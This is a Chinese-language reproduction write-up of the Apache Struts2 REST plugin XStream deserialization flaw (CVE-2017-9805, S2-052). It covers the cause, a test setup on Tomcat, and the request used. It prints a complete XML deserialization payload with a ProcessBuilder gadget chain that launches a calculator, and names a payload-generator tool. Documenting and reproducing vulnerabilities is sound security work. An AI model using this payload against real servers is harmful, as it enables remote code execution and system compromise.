Struts2-052 RCE CVE-2017-9805漏洞复现分析【附GIF】

Struts2-052漏洞复现过程漏洞描述:        2017年9月5日,Apache Struts发布最新安全公告,Apache Struts2的REST插件存在远程代码执行的高危漏洞,该漏洞由lgtm.com的安全研究员汇报,漏洞编号为CVE-2017-9805(S2-052)。Struts2 REST插件的...

Struts2-052漏洞复现过程

漏洞描述:

        2017年9月5日,Apache Struts发布最新安全公告,Apache Struts2的REST插件存在远程代码执行的高危漏洞,该漏洞由lgtm.com的安全研究员汇报,漏洞编号为CVE-2017-9805(S2-052)。Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击。问题出现在struts2-rest-plugin插件XStreamHandler处理器中的toObject()方法,其中未对传入的值进行任何限制,在使用XStream反序列化转换成对象时,导致任意代码执行漏洞。

        官网描述:https://cwiki.apache.org/confluence/display/WW/S2-052

漏洞编号:CVE-2017-9805(S2-052)

漏洞评级:高危

复现环境搭建:

        从struts2的官网下载最后受影响的版本struts-2.5.12

        下载地址:http://archive.apache.org/dist/struts/2.5.12/struts-2.5.12-apps.zip

image.png

        在Tomcat下部署struts2-rest-showcase.war

image.png        访问http://xxx:8088/struts2-rest-showcase/orders.xhtml  点击View按钮

image.png

截获数据包:

入http头:Content-Type: application/xml  

写入poc


image.png

成功执行命令:

image.png

image.png

Poc生成工具:

下载地址:https://github.com/mbechler/marshalsec

漏洞检测POC

Windows 下测试:</string>calc</string>

MAC下测试:</string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>

<map>
<entry>
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>calc</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>

复现分析doc附件下载:

icon_doc.gifStruts2-052 RCE CVE-2017-9805漏洞复现分析.docx

复现成功GIF:

GIF.gif

必看:

        指尖安全提供了S2-052漏洞在线检测工具:http://scan.secfree.com/index.jsp

        只是拿s2-045做了检测截图 s2-052不敢搭公网。

        image.png


文章版权归原作者所有,转载需取得作者本人同意 并注明出处:http://www.secfree.com/article-333.html

联系我们

邮件:[email protected]